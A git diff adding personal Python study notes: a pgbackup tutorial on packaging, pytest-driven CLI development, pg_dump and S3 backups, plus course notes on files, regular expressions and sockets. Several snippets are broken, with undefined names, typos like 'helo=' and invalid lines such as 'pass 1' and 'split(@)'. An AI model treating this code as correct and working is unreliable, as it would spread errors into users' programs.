yet +Changes to be committed: + (use "git rm --cached ..." to unstage) + new file: .gitignore + new file: Pipfile + new file: README.rst + +$ git commit -m 'Initial commit' +``` + +--- + +## Initial Project Layout + +### 1. Create Package Layout +- few specific places to put code in this project: +- In `src/pgbackup` directory: project’s business logic. + - use a special file called `__init__.py` +- In `tests` directory: put automated tests here. + - use a generically named, hidden file. `.keep` + +- We’re not going to write the code that goes in these directories just yet, but we are going to create them and put some empty files in so that we can make a git commit that contains these directories. + + +```c +(pgbackup-E7nj_BsO) $ mkdir -p src/pgbackup tests +(pgbackup-E7nj_BsO) $ touch src/pgbackup/__init__.py tests/.keep +``` + +### 2. write `setup.py` + +- One of the requirements for an installable Python package is a `setup.py` file at the root of the project. +- utilize `setuptools` to specify + - how our project is to be installed + - define its metadata. + + +```py +# $ vim ~/code/pgbackup/setup.py + +from setuptools import setup, find_packages + +with open('README.rst', encoding='UTF-8') as f: + readme = f.read() + +setup( + name='pgbackup', + version='0.1.0', + description='Database backups locally or to AWS S3.', + long_description=readme, + author='grace', + author_email='Lgraceye@hotmail.com', + packages=find_packages('src'), + package_dir={'': 'src'}, + install_requires=[] +) + +# For the most part, this file is metadata, +# but the packages, package_dir, and install_requires parameters of the setup function define where setuptools will look for our source code and what other packages need to be installed for our package to work. +``` + + +- make sure didn’t mess up thing in setup.py, install package as a development package using pip. + + +```c +$ pipenv shell + +(pgbackup-E7nj_BsO) $ pip install -e . +Obtaining file:///home/user/code/pgbackup +Installing collected packages: pgbackup + Running setup.py develop for pgbackup +Successfully installed pgbackup +// everything worked, and we won’t need to change our setup.py for awhile. + + +// uninstall pgbackup since it doesn’t do anything yet: +(pgbackup-E7nj_BsO) $ pip uninstall pgbackup +``` + + +### 3. Makefile +- in `README.rst` file, run tests is able to simply run make from terminal. +- need to have a `Makefile`. +- create a second make task that can be used to setup the `virtualenv` and install dependencies using `pipenv` also. + + +```c +// $ vim ~/code/pgbackup/Makefile +``` + +```c +.PHONY: default install test + +default: test + +install: + pipenv install --dev --skip-lock + +test: + PYTHONPATH=./src pytest +``` + +### 4. make commit + +```c +(pgbackup-E7nj_BsO) $ git add --all . +(pgbackup-E7nj_BsO) $ git commit -m 'Structure project with setup.py and Makefile' +``` + +--- + +## Introduction to TDD and First Tests + +### 1. Installing pytest +pytest +- testing framework. +- install by `pipenv` and specify that this is a “dev” dependency: + +```c +(pgbackup-E7nj_BsO) $ pipenv install --dev pytest +... +Adding pytest to Pipfiles [dev-packages]… +Locking [dev-packages] dependencies… +Locking [packages] dependencies… +Updated Pipfile.lock (5c8539)! + +// Now the line that we wrote in our Makefile that utilized the pytest, CLI will work. + +$ cat Pipfile + +[[source]] +name = "pypi" +url = "https://pypi.org/simple" +verify_ssl = true + +[dev-packages] +pytest = "*" + +[packages] + +[requires] +python_version = "3.6" +``` + +### 2. Write First Tests + +write a few failing tests using pytes +- tests will be functions with names that start with `test_` +- As long as we name the functions properly, the test runner should find and run them. + +A test that shows that the CLI fails if no driver is specified. +A test that shows that the CLI fails if there is no destination value given. +A test that shows, given a driver and a destination, that the CLI’s returned Namespace has the proper values set. + +At this point, we don’t even have any source code files, but that doesn’t mean that we can’t write code that demonstrates how we would like our modules to work. + +module: `cli` +- have a `create_parser` function: returns an `ArgumentParser` configured for desired use. +- write some tests that exercise `cli.create_parser` and ensure that our ArgumentParser works as expected. +- The name of test file is important; `test_cli.py`. + + +```py +# $ vim ~/code/pgbackup/tests/test_cli.py + +import pytest +from pgbackup import cli + +url = "postgres://bob:password@example.com:5432/db_one" + +def test_parser_without_driver(): + """ + Without a specified driver the parser will exit + """ + with pytest.raises(SystemExit): + parser = cli.create_parser() + parser.parse_args([url]) + +def test_parser_with_driver(): + """ + The parser will exit if it receives a driver + without a destination + """ + parser = cli.create_parser() + with pytest.raises(SystemExit): + parser.parse_args([url, "--driver", "local"]) + +def test_parser_with_driver_and_destination(): + """ + The parser will not exit if it receives a driver + with a destination + """ + parser = cli.create_parser() + args = parser.parse_args([url, "--driver","local","/some/path"]) + assert args.driver == "local" + assert args.destination == "/some/path" +``` + +### 3. Running Tests + +make sure our virtualenv is active and run them: +`$ pipenv shell` + +```c +(pgbackup-E7nj_BsO) $ make + +PYTHONPATH=./src pytest +======================================= test session starts ======================================= +platform linux -- Python 3.6.4, pytest-3.3.2, py-1.5.2, pluggy-0.6.0 +rootdir: /home/user/code/pgbackup, inifile: +collected 0 items / 1 errors + +============================================= ERRORS ============================================== +___ ERROR collecting tests/test_cli.py ____ +ImportError while importing test module '/home/user/code/pgbackup/tests/test_cli.py'. +Hint: make sure your test modules/packages have valid Python names. +Traceback: +tests/test_cli.py:3: in + from pgbackup import cli + E ImportError: cannot import name 'cli' + !!!!!!!!!!!!!!!!!!!!!!!!!!!!! Interrupted: 1 errors during collection !!!!!!!!!!!!!!!!!!!!!!!!!!!!! + ===================================== 1 error in 0.11 seconds ===================================== + make: *** [test] Error 2 +``` + +--- + +## Implementing CLI Guided By Tests + +`$ make` + +`test_cli.py`: + +```py +import pytest +from pgbackup import cli + +url = "postgres://bob:password@example.com:5432/db_one" + +def test_parser_without_driver(): + with pytest.raises(SystemExit): + parser = cli.create_parser() + parser.parse_args([url]) + +def test_parser_with_driver(): + parser = cli.create_parser() + with pytest.raises(SystemExit): + parser.parse_args([url, "--driver", "local"]) + +def test_parser_with_driver_and_destination(): + parser = cli.create_parser() + args = parser.parse_args([url, "--driver","local","/some/path"]) + assert args.driver == "local" + assert args.destination == "/some/path" +``` + +### 1st error: `ImportError` + +`ImportError: cannot import name 'cli'` + +create `cli.py` + +```c +$ touch src/pgbackup/cli.py +``` + +### 2nd error: `AttributeError` + +```py +AttributeError: module 'pgbackup.cli' has no attribute 'create_parser' +``` + +create `cli.py` content + +```py +from argparse import ArgumentParser + +def create_parser(): + parser = ArgumentParser() + return parser +``` + +### 3rd error: `pytest: error: unrecognized arguments:` + +`pytest: error: unrecognized arguments: postgres://bob:password@example.com:5432/db_one --driver local /some/path` + +edit `cli.py` content: Creating First Class + +```py +from argparse import ArgumentParser + +class DriverAction(Action): + def call(self, parser, namespace, values, option_string=None): + driver, destination = values + namespace.driver = driver.lower() + namespace.destination = destination + +def create_parser(): + parser = ArgumentParser(description="Back up PostgreSQL databases locally or to AWS S3. ") + parser.add_argument("url", helo="URL of database to backup") + parser.add_argument("--driver", + help="how & where to store backup", + nargs=2, + action=DriverAction, + required=True) + return parser +``` + +### Adding More Tests + +`test_cli.py`: add the following + +```py +def test_parser_with_unknown_drivers(): + "The parser will exit if the driver name is unknown." + parser = cli.create_parser() + with pytest.raises(SystemExit): + parser.parse_args([url, "--driver", "azure", "destination"]) + +def test_parser_with_known_drivers(): + "The parser will not exit if the driver name is known." + parser = cli.create_parser() + for driver in ['local', 's3']: + assert parser.parse_args([url, "--driver", driver, "destination"]) +``` + +### Adding Driver Type Validation + +edit `cli.py` content: +- import `Action` +- Creating First Class + +```py +from argparse import Action, ArgumentParser + +class DriverAction(Action): + def __call__(self, parser, namespace, values, option_string=None): + driver, destination = values + if driver.lower() not in known_drivers: + parser.error("Unknown driver. Available drivers are 'local' & 's3'") + namespace.driver = driver.lower() + namespace.destination = destination + +def create_parser(): + parser = ArgumentParser(description="Back up PostgreSQL databases locally or to AWS S3. ") + parser.add_argument("url", help="URL of database to backup") + parser.add_argument("--driver", + help="how & where to store backup", + nargs=2, + action=DriverAction, + required=True) + return parser +``` + +### Removing Test Duplication Using pytest.fixture + + +`test_cli.py`: + +```py +import pytest +from pgbackup import cli + +@pytest.fixture +def parser(): + return cli.create_parser() + +url = "postgres://bob:password@example.com:5432/db_one" + +def test_parser_without_driver(parser): + with pytest.raises(SystemExit): + parser.parse_args([url]) + +def test_parser_with_driver(parser): + with pytest.raises(SystemExit): + parser.parse_args([url, "--driver", "local"]) + +def test_parser_with_unknown_drivers(parser): + with pytest.raises(SystemExit): + parser.parse_args([url, "--driver", "azure", "destination"]) + +def test_parser_with_known_drivers(parser): + for driver in ['local', 's3']: + assert parser.parse_args([url, "--driver", driver, "destination"]) + +def test_parser_with_driver_and_destination(parser): + args = parser.parse_args([url, "--driver","local","/some/path"]) + assert args.driver == "local" + assert args.destination == "/some/path" +``` + +### git + +```c +git status +git add --all . +git commit -m 'Implement CLI module' +``` + +--- + +## Introduction to Mocking in Tests + +### 1. Install pytest-mock +Before we can learn how to use mocking in our tests, we need to install the pytest-mock package. This will pull in a few packages for us, and mainly provide us with a mocker fixture that we can inject into our tests: + +```c +$ pipenv install --dev pytest-mock +``` + +### 2. Writing Tests With Mocking +We’re going to put all of the Postgres related logic into its own module called `pgdump`, and we’re going to begin by writing our tests. We want this module to do the following: + +1. Make a call out to `pg_dump` using `subprocess.Popen`. +2. Returns the `subprocess` that `STDOUT` can be read from. + +We know how to use the `subprocess` module, but we haven’t used `subprocess.Popen` yet. + +Behind the scenes, the functions that we already know use `Popen`, and wait for it to finish. + +We’re going to use this instead of run, because we want to continue running code instead of waiting, right until we need to write the contents of `proc.stdout` to a file or S3. + +- To ensure that our code runs the proper third-party utilities, we’re going to use `mocker.patch` on the `subprocess.Popen` constructor. + - This will substitute in a different implementation that holds onto information like the number of times the function is called and with what arguments. + +```py +# tests/test_pgdump.py +import pytest +import subprocess +from pgbackup import pgdump + +url = "postgres://bob:password@example.com:5432/db_one" + +def test_dump_calls_pg_dump(mocker): + """ + Utilize pg_dump with the database URL + """ + mocker.patch('subprocess.Popen') + assert pgdump.dump(url) + subprocess.Popen.assert_called_with(['pg_dump', url], stdout=subprocess.PIPE) +``` + +The arguments that we’re passing to `assert_called_with` will need to match what is being passed to `subprocess.Popen` when we exercise `pgdump.dump(url)`. + +--- + +## Implementing PostgreSQL Interaction + + +### 1st error: `ImportError` + +`ImportError: cannot import name 'pgdump'` + +`$ vim /src/pgbackup/pgdump.py` + + +### 2nd error: `AttributeError` +`AttributeError: module 'pgbackup.pgdump' has no attribute 'dump'` + +```py +# $ vim /src/pgbackup/pgdump.py + +def dump(): + pass +``` + +### 3rd error `TypeError` + +`TypeError: dump() takes 0 positional arguments but 1 was given` + +```py +# $ vim /src/pgbackup/pgdump.py +def dump(url): + pass 1 +``` + +### 4th error + +```py + mocker.patch('subprocess.Popen') + assert pgdump.dump(url) +> subprocess.Popen.assert_called_with(['pg_dump', url], stdout=subprocess.PIPE) +E AssertionError: Expected call: Popen(['pg_dump', 'postgres://bob:password@example.com:5432/db_one'], stdout=-1) +E Not called + +-------------------------- + +# $ vim /src/pgbackup/pgdump.py +import subprocess + +def dump(url): + return subprocess.Popen(['pg_dump', url], stdout=subprocess.PIPE) +``` + + +```py +# tests/test_pgdump.py +import pytest +import subprocess +from pgbackup import pgdump + +url = "postgres://bob:password@example.com:5432/db_one" + +def test_dump_calls_pg_dump(mocker): + "Utilize pg_dump with the database URL." + mocker.patch('subprocess.Popen') + assert pgdump.dump(url) + subprocess.Popen.assert_called_with(['pg_dump', url], stdout=subprocess.PIPE) + +def test_dump_handles_oserror(mocker): + "pgdump.dump returns a reasonable error if pg_dump isn't installed." + mocker.patch('subprocess.Popen', side_effect=OSError("no such file")) + with pytest.raises(SystemExit): + pgdump.dump(url) +``` + + +### Implementing Error Handling +Since we know that subprocess.Popen can raise an OSError, we’re going to wrap that call in a try block, print the error message, and use sys.exit to set the error code: + +```py +src/pgbackup/pgdump.py + +import sys +import subprocess + +def dump(url): + try: + return subprocess.Popen(['pg_dump', url], stdout=subprocess.PIPE) + except OSError as err: + print(f"Error: {err}") + sys.exit(1) +``` + +### Manual Testing + +We can have a certain amount of confidence in our code because we’ve written tests that cover our expected cases, but since we used patching, we don’t know that it works. Let’s manually load our code into the python REPL to test it out: +```py +(pgbackup-E7nj_BsO) $ PYTHONPATH=./src python +>>> from pgbackup import pgdump +>>> dump = pgdump.dump('postgres://demo:password@54.245.63.9:80/sample') +# dump = subprocess.Popen(['pg_dump', url], stdout=subprocess.PIPE) + +>>> f = open('dump.sql', 'w+b') +>>> f.write(dump.stdout.read()) +>>> f.close() +Note: We needed to open our dump.sql file using the w+b flag because we know that the .stdout value from a subprocess will be a bytes object and not a str. +``` +If we exit and take a look at the contents of the file using cat, we should see the SQL output. With the pgdump module implemented, it’s now a great time to commit our code. + +--- + +## Implementing Local File Storage + +### Writing Local File Tests + +what local storage driver needs to do +- Take in one “readable” object and one, local, “writeable” object. +- Write the contents of the “readable” object to the “writeable” object. +- don’t need our inputs to be file objects. + - They need to implement some of the same methods that a file does, like read and write, but they don’t have to be file objects. +- For testing purposes, use the `tempfile` package to create a `TemporaryFile` to act as “readable” and another `NamedTemporaryFile` to act as “writeable”. +- pass them both into function, and assert after the fact that the contents of the “writeable” object match what was in the “readable” object: + +```py +# tests/test_storage.py + +import tempfile +from pgbackup import storage + +def test_storing_file_locally(): + "Writes content from one file-like to another" + + infile = tempfile.TemporaryFile('r+b') + infile.write(b"Testing") + infile.seek(0) + + outfile = tempfile.NamedTemporaryFile(delete=False) + + storage.local(infile, outfile) + with open(outfile.name, 'rb') as f: + assert f.read() == b"Testing" +``` + +### Implement Local Storage + +- call close on the “writeable” file to ensure that all of the content gets written (the database backup could be quite large): + +```py +#src/pgbackup/storage.py + +def local(infile, outfile): + outfile.write(infile.read()) + outfile.close() + infile.close() +``` + +--- + +## Implementing AWS Interaction + +### Installing boto3 +To interface with AWS (S3 specifically), use the boto3 package. + +```c +// install this to virtualenv using pipenv: +(pgbackup-E7nj_BsO) $ pipenv install boto3 +``` + +### Configuring AWS Client +The boto3 package works off of the same configuration file that you can use with the official aws CLI. +- leave `virtualenv` and install the `awscli` package for user. +- use its configure command to set up config file: + +```c +(pgbackup-E7nj_BsO) $ exit + +$ mkdir ~/.aws + +$ pip3.6 install --user awscli + +$ aws configure +AWS Access Key ID [None]: +AWS Secret Access Key [None]: +Default region name [None]: +Default output format [None]: + +// The exec $SHELL portion reload the shell to ensure that the configuration changes are picked up. +$ exec $SHELL + +// make sure to reactivate development virtualenv again: +$ pipenv shell +``` + + +### Implementing S3 Strategy + +```py +# src/pgbackup/storage.py + +def local(infile, outfile): + outfile.write(infile.read()) + outfile.close() + infile.close() + +def s3(client, infile, bucket, name): + client.upload_fileobj(infile, bucket, name) +``` + + +### Writing S3 test +write tests for our S3 interaction. +- To limit the explicit dependencies that we have, we’re going to have the following parameters to our storage.s3 function: +- A client object that has an `upload_fileobj` method. +- A boto3 client meets this requirement, but in testing, we can pass in a “mock” object that implements this method. +- A file-like object (responds to read). +- An S3 bucket name as a string. +- The name of the file to create in S3. + +```py +# need an infile for all tests, extract a fixture for that also. + +# tests/test_storage.py + +import tempfile +import pytest + +from pgbackup import storage + +@pytest.fixture +def infile(): + infile = tempfile.TemporaryFile('r+b') + infile.write(b"Testing") + infile.seek(0) + return infile + +def test_storing_file_locally(infile): + "Writes content from one file-like to another" + outfile = tempfile.NamedTemporaryFile(delete=False) + storage.local(infile, outfile) + with open(outfile.name, 'rb') as f: + assert f.read() == b"Testing" + +def test_storing_file_on_s3(mocker, infile): + "Writes content from one readable to S3" + client = mocker.Mock() + storage.s3(client, infile, "bucket", "file-name") + client.upload_fileobj.assert_called_with( infile, "bucket", "file-name") +``` + + +### Manually Testing S3 Integration + +manually test uploading a file to S3 using `storage.s3` function. +- create an `example.txt` file +- load into a Python REPL with our code loaded: + +```c +(pgbackup-E7nj_BsO) $ echo "UPLOADED" > example.txt + +(pgbackup-E7nj_BsO) $ PYTHONPATH=./src python +>>> import boto3 +>>> from pgbackup import storage +>>> client = boto3.client('s3') +>>> infile = open('example.txt', 'rb') +>>> storage.s3(client, infile, 'pyscripting-db-backups', infile.name) + +// check our S3 console, we should see the file there. +// remove the example.txt file and then commit these changes: + +(pgbackup-E7nj_BsO) $ rm example.txt +(pgbackup-E7nj_BsO) $ git add . +(pgbackup-E7nj_BsO) $ git commit -m 'Implement S3 interactions' +``` + +--- + +## Wiring the Units Together + +### Add “console_script” to project +- make project create a console script for us when user runs `pip install`. +- similar as made executables before, except don’t need to manually do the work. +- To do this, need to add an `entry point` in our setup.py: + +```py +# setup.py +from setuptools import setup, find_packages + +with open('README.rst', encoding='UTF-8') as f: + readme = f.read() + +setup( + name='pgbackup', + version='0.1.0', + description='Database backups locally or to AWS S3.', + long_description=readme, + author='grace', + author_email='Lgraceye@hotmail.com', + packages=find_packages('src'), + package_dir={'': 'src'}, + install_requires=['boto3'], + entry_points={ + 'console_scripts': [ + 'pgbackup=pgbackup.cli:main', + ], + } + ) +``` + +referencing `cli` module with a `:` and a `main`. +- `main` is the function that we need to create now. + + +### Wiring The Units Together +`main` function is going to go in the `cli` module, and it needs to do the following: +- Import the `boto3` package. +- Import our `pgdump` and `storage` modules. +- Create a `parser` and parse the arguments. +- Fetch the database dump. +- Depend on the driver type do one of the follow: + - create a `boto3 S3 client` and use `storage.s3` + - open a `local file` and use `storage.local` + + +```py +# src/pgbackup/cli.py +from argparse import Action, ArgumentParser + +class DriverAction(Action): + def __call__(self, parser, namespace, values, option_string=None): + driver, destination = values + if driver.lower() not in known_drivers: + parser.error("Unknown driver. Available drivers are 'local' & 's3'") + namespace.driver = driver.lower() + namespace.destination = destination + +def create_parser(): + parser = ArgumentParser(description="Back up PostgreSQL databases locally or to AWS S3. ") + parser.add_argument("url", help="URL of database to backup") + parser.add_argument("--driver", + help="how & where to store backup", + nargs=2, + action=DriverAction, + required=True) + return parser + + +def main(): + import boto3 + from pgbackup import pgdump, storage + + args = create_parser().parse_args() + dump = pgdump.dump(args.url) + if args.driver == 's3': + client = boto3.client('s3') + # TODO: create a better name based on the database name and the date + storage.s3(client, dump.stdout, args.destination, 'example.sql') + else: + outfile = open(args.destination, 'wb') + storage.local(dump.stdout, outfile) +``` + +test it out: + +```c +$ pipenv shell +(pgbackup-E7nj_BsO) $ pip install -e . +(pgbackup-E7nj_BsO) $ pgbackup --driver local ./local-dump.sql postgres://demo:password@54.245.63.9:80/sample +(pgbackup-E7nj_BsO) $ pgbackup --driver s3 pyscripting-db-backups postgres://demo:password@54.245.63.9:80/sample +``` + +### Reviewing the Experience + +fix: +- Generate a good file name for S3 +- Create some output while the writing is happening +- Create a shorthand switch for --driver (-d) + +### Generating a Dump File Name + +For generating our filename, let’s put all database URL interactions in the pgdump module with a function name of dump_file_name. This is a pure function that takes an input and produces an output, so it’s a prime function for us to unit test. + +```py +# tests/test_pgdump.py (partial) + +def test_dump_file_name_without_timestamp(): + "pgdump.db_file_name returns the name of the database" + assert pgdump.dump_file_name(url) == "db_one.sql" + +def test_dump_file_name_with_timestamp(): + "pgdump.dump_file_name returns the name of the database" + timestamp = "2017-12-03T13:14:10" + assert pgdump.dump_file_name(url, timestamp) == "db_one-2017-12-03T13:14:10.sql" +``` + +We want the file name returned to be based on the database name, and it should also accept an optional timestamp. Let’s work on the implementation now: + +```py +# src/pgbackup/pgdump.py + +import sys +import subprocess + +def dump(url): + try: + return subprocess.Popen(['pg_dump', url], stdout=subprocess.PIPE) + except OSError as err: + print(f"Error: {err}") + sys.exit(1) + +def dump_file_name(url, timestamp=None): + db_name = url.split("/")[-1] + db_name = db_name.split("?")[0] + if timestamp: + return f"{db_name}-{timestamp}.sql" + else: + return f"{db_name}.sql" +``` + +### Improving the CLI and Main Function + +We want to add a shorthand -d flag to the driver argument, let’s add that to the create_parser function: + +```py +# src/pgbackup/cli.py + +def create_parser(): + parser = argparse.ArgumentParser(description="Back up PostgreSQL databases locally or to AWS S3.") + parser.add_argument("url", help="URL of database to backup") + parser.add_argument("--driver", "-d", + help="how & where to store backup", + nargs=2, + metavar=("DRIVER", "DESTINATION"), + action=DriverAction, + required=True) + return parser + +# print a timestamp with time.strftime, generate a database file name, and print what we’re doing as we upload/write files. + +def main(): + import time + import boto3 + from pgbackup import pgdump, storage + + args = create_parser().parse_args() + dump = pgdump.dump(args.url) + + if args.driver == 's3': + client = boto3.client('s3') + timestamp = time.strftime("%Y-%m-%dT%H:%M", time.localtime()) + file_name = pgdump.dump_file_name(args.url, timestamp) + print(f"Backing database up to {args.destination} in S3 as {file_name}") + storage.s3(client, dump.stdout, args.destination, file_name) + else: + outfile = open(args.destination, 'wb') + print(f"Backing database up locally to {outfile.name}") + storage.local(dump.stdout, outfile) +``` + +--- + +## Build and Share a Wheel Distribution + +### Adding a setup.cfg + +1. configure setuptools to not build the wheel for Python 2. + - can’t build for Python2 because we used string interpolation. + - put this configuration in a `setup.cfg`: + +```py +# setup.cfg +[bdist_wheel] +python-tag = py36 +``` + +2. to build wheel: + +```c +(pgbackup-E7nj_BsO) $ python setup.py bdist_wheel +``` + +3. uninstall and re-install our package using the wheel file: + +```c +(pgbackup-E7nj_BsO) $ pip uninstall pgbackup +(pgbackup-E7nj_BsO) $ pip install dist/pgbackup-0.1.0-py36-none-any.whl +``` + + +### Install a Wheel From Remote Source (S3) +- use `pip` to install `wheels` from a local path +- can also install from a remote source over HTTP. + - upload wheel to S3 + - then install the tool outside of virtualenv from S3: + +```py +(pgbackup-E7nj_BsO) $ python +>>> import boto3 +>>> f = open('dist/pgbackup-0.1.0-py36-none-any.whl', 'rb') +>>> client = boto3.client('s3') +>>> client.upload_fileobj(f, 'pyscripting-db-backups', 'pgbackup-0.1.0-py36-none-any.whl') +>>> exit() +``` + +go into the S3 console and make this file public to download it to install. + +exit our `virtualenv` and install `pgbackup` as a user package: + +```c +(pgbackup-E7nj_BsO) $ exit +$ pip3.6 install --user https://s3.amazonaws.com/pyscripting-db-backups/pgbackup-0.1.0-py36-none-any.whl +$ pgbackup --help +``` + + + + + + + + + + + + + + + + + + + + + +. +v diff --git a/_posts/00CodeNote/language/Python/course/Python01-GettingStart-byUMich/0.1.Getstart.md b/_posts/00CodeNote/language/Python/course/Python01-GettingStart-byUMich/0.1.Getstart.md new file mode 100644 index 00000000000..fd7af7e4063 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python01-GettingStart-byUMich/0.1.Getstart.md @@ -0,0 +1,217 @@ + +# basic + +[toc] + + + +## Hardware Overview + +![Screen Shot 2020-04-10 at 18.07.28](https://i.imgur.com/xec510Z.png) + + CPU it is actually a circuit. + - a highly sophisticated circuit with millions of `transistors` on it + - three billion instructions per second. + +we write `file.py` in secondary memory, secondary memory give the file in the main memory, and CPU calculate it and give the result. + +## Python as a Language + +Python = Monty Python's Flying Circus + +Python for Everybody (PY4E): [material](https://www.py4e.com/lessons) + +Python Development Environment +- Using Python on PythonAnywhere (Cloud / browser based - no installation required) +- Setting up the Python Environment in Microsoft Windows +- Setting up the Python Environment on a Macintosh +- You can also set up Python under Windows-10 using the Windows Subsystem for Linux (WSL) if you prefer a Linux-like experience on your windows computer. +- Other cloud-provided Python environments include Trinket, Cloud9, or CodeAnywhere. + +--- + +## Conditional Statements + +conditional steps: +- `if Statements` +- comparison operators `==,!=,=<,....` + +one-way decisions: `if` + +nested decisions: `if: if: if` + +two-way decisions: `if: else:` + +multi-way decisions: `if: elif: else:` + +traceback: `try/except` + +```py +astr='bob' +try: + print('hello') + istr=int(astr) + print('there') +except: + istr=-1 +print('done', istr) +``` + +--- + +## store and reuse + +```py +def thing(): + Statements + +thing() +``` + +--- + +## file + +![Screen Shot 2020-04-10 at 20.10.40](https://i.imgur.com/0T5pav5.png) + +```py + +1. + with open('mydata.txt', 'r') as md: + print(md.readlines()) + +2. + afile = open("/../foo.txt", "w") + afile.close() + +``` + +**Reading files** + +```py +fhand = open('mbox-short.txt') +count = 0 +for line in fhand: + count = count + 1 +print('Line Count:', count) + + +fhand.read(int/none) -> a string +``` + +**Searching through a file** + +```py + +fhand = open('mbox-short.txt') + +for line in fhand: + line = line.rstrip() + if line.startswith('From:'): + print(line) + + +# Skip 'uninteresting lines' +for line in fhand: + line = line.rstrip() + if not line.startswith('From:'): + continue + # Process our 'interesting' line + print(line) + + +for line in fhand: + line = line.rstrip() + if line.find('@uct.ac.za') == -1: continue + print(line) + +``` + +**Letting the user choose the file name** + +```py +fname = input('Enter the file name: ') +fhand = open(fname) +count = 0 + +for line in fhand: + if line.startswith('Subject:'): + count = count + 1 +print('There were', count, 'subject lines in', fname) + +``` + +**Using try, except, and open** + +What if our user types something that is not a file name? + +```py +fname = input('Enter the file name: ') +try: + fhand = open(fname) +except: + print('File cannot be opened:', fname) + exit() + +count = 0 +for line in fhand: + if line.startswith('Subject:'): + count = count + 1 +print('There were', count, 'subject lines in', fname) + +``` + + +**Writing files** + +```py +fout = open('output.txt', 'w') +line1 = "This here's the wattle,\n" +fout.write(line1) +fout.close() + +``` + +--- + +## Dictionary + +**Dictionary as a set of counters** + +```py +name=input("enter file:") +handle=open(name) +counts = dict() + +for line in handle: + words=line.split() + for word in words: + counts[word] = counts.get(word,0) + 1 + +bigcount=None +bigword=None + +for word, count in counts: + if bigcount is None or count > bigcount: + bigword=word + bigcount=count +``` + +**Looping and dictionaries** + +```py +counts = { 'chuck' : 1 , 'annie' : 42, 'jan': 100} +for key in counts: + print(key, counts[key]) +``` + + + + + + + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/RegularExpressionsinPy.md b/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/RegularExpressionsinPy.md new file mode 100644 index 00000000000..3f6d6541412 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/RegularExpressionsinPy.md @@ -0,0 +1,144 @@ + + + +# Regular Expressions + + +[toc] + +## re + +![Screen Shot 2020-04-12 at 22.44.42](https://i.imgur.com/57Q8Xev.png) + + +--- + +## serarch and return `True` or `False`. + +```py + +import re + +1. in python: find(). + + hand = open('file.txt') + for line in hand: + line = line.rstrip() + if re.search('From:', line): + # if line.find('From:')>= 0: + print(line) + +2. in python: startswith() + + hand = open('file.txt') + for line in hand: + line = line.rstrip() + if re.search('^From:', line): # ^ is beginning + # if line.startswith('From:') + print(line) + +``` + +--- + +## match and extract data + +```py +import re + +1. normal match + + x='my 2 favoriate numbers are 19 and 42' + y=re.findall('[0-9]+',x) # give back the string '2','19','42' + print(y) # ['2', '19', '42'] + + y=re.findall('[AEI]+',x) # find begin with AEI + print(y) + + +2. greedy match + + import re + + x='From: sing the : character.' + + y=re.findall('^F.+:',x) # greedy: it will give back the largest one. + print(y) + ['From: sing the : '] + + y=re.findall('^F.+?:',x) # dont be greedy: add '?' + print(y) + ['From:'] + +``` + +--- + +## search EMAIL + +```py + +1. by using RE. + + data='From admin@google.com Sat Jan 5 09:14:23' + + # find the email address + y=re.findall('\S+@\S+', data) + y=re.findall('^From (\S+@\S+)', data) # parentheses, where to start and stop extract + + # find the hostname + y=re.findall('@([^ ]*)', data) # [^ ]: everything but not a space + y=re.findall('^From .*@([^ ]*)', data) + + + +2. by using py. + + data='From admin@google.com Sat Jan 5 09:14:23' + + atpos=data.find('@') # 21 + sppos=data.find('', atpos) # 31 + host=data[atpos+1:sppos] # google.com + + words=line.split() + email==words[1] + pieces=email.split(@) + host=pieces[1] # google.com + +``` + +--- + +## escape character + +```py +import re +x = 'we have $10 for cookies.' +y = re.findall('\$[0-9.]+',x) +print(y) +``` + +--- + +## assignment + +```py + +# find the number match this style +'X-DSPAM-Confidence: 0.8937' + +import re + +hand=open("file.txt") + +for line in hand: + line=line.strip() + stuff=re.findall('^X-DSPAM-Confidence: 0.[0-9]+', line) + + +``` + + + + +. diff --git a/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/network.md b/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/network.md new file mode 100644 index 00000000000..0845a563187 --- /dev/null +++ b/_posts/00CodeNote/language/Python/course/Python03-AccessWebData-byUMich/network.md @@ -0,0 +1,264 @@ + +# use pytho for network work. + +[toc] + +--- + +# make a socket, a connection + +```py +import socket +mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) +mysock.connect( ('data.pr4e.org', 80)) # host and port +``` + +--- + +# HTTP +https:// www.goo.com/ index.html +protocol+host+document + +1. usually +```py +# install telnet +brew install telnet + +# get a connection and ask for files +$ telnet data.pr4e.org 80 +Trying 192.241.136.170... +Connected to data.pr4e.org. +Escape character is '^]'. +GET https://data.pr4e.org/page1.htm HTTP/1.0 # send a GET request + +HTTP/1.1 200 OK # the metadata of the file you ask +Date: Fri, 15 May 2020 00:39:30 GMT +Server: Apache/2.4.18 (Ubuntu) +Last-Modified: Mon, 15 May 2017 11:11:47 GMT +ETag: "80-54f8e1f004857" +Accept-Ranges: bytes +Content-Length: 128 +Cache-Control: max-age=0, no-cache, no-store, must-revalidate +Pragma: no-cache +Expires: Wed, 11 Jan 1984 05:00:00 GMT +Connection: close +Content-Type: text/html + +

    The First Page

    # the file you ask +

    +If you like, you can switch to the + +Second Page. +

    +Connection closed by foreign host. +J:~ luo$ +``` + +2. in python + +send request to the server and retrive a document + +```py +py.file +import socket +mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # make the door open +mysock.connect( ('data.pr4e.org', 80)) # connect to a host and port +# encode it from unicode to UTF-8 +cmd = 'GET https://data.pr4e.org/romeo.txt HTTP/1.0\n\n'.encode() # makeup request, encode to byte from unicode +mysock.send(cmd) # send to the server + +while True: + data = mysock.recv(512) # recieve up to 512 character + if (len(data) < 1): # if no data receive + break + print(data.decode()) # from byte to UTF-8 data +mysock.close() + +python3 py.file +## result: https://data.pr4e.org/romeo.txt +# meta data +HTTP/1.1 200 OK +Date: Fri, 15 May 2020 00:47:57 GMT +Server: Apache/2.4.18 (Ubuntu) +Last-Modified: Sat, 13 May 2017 11:22:22 GMT +ETag: "a7-54f6609245537" +Accept-Ranges: bytes +Content-Length: 167 +Cache-Control: max-age=0, no-cache, no-store, must-revalidate +Pragma: no-cache +Expires: Wed, 11 Jan 1984 05:00:00 GMT +Connection: close +Content-Type: text/plain + +# file content +But soft what light through 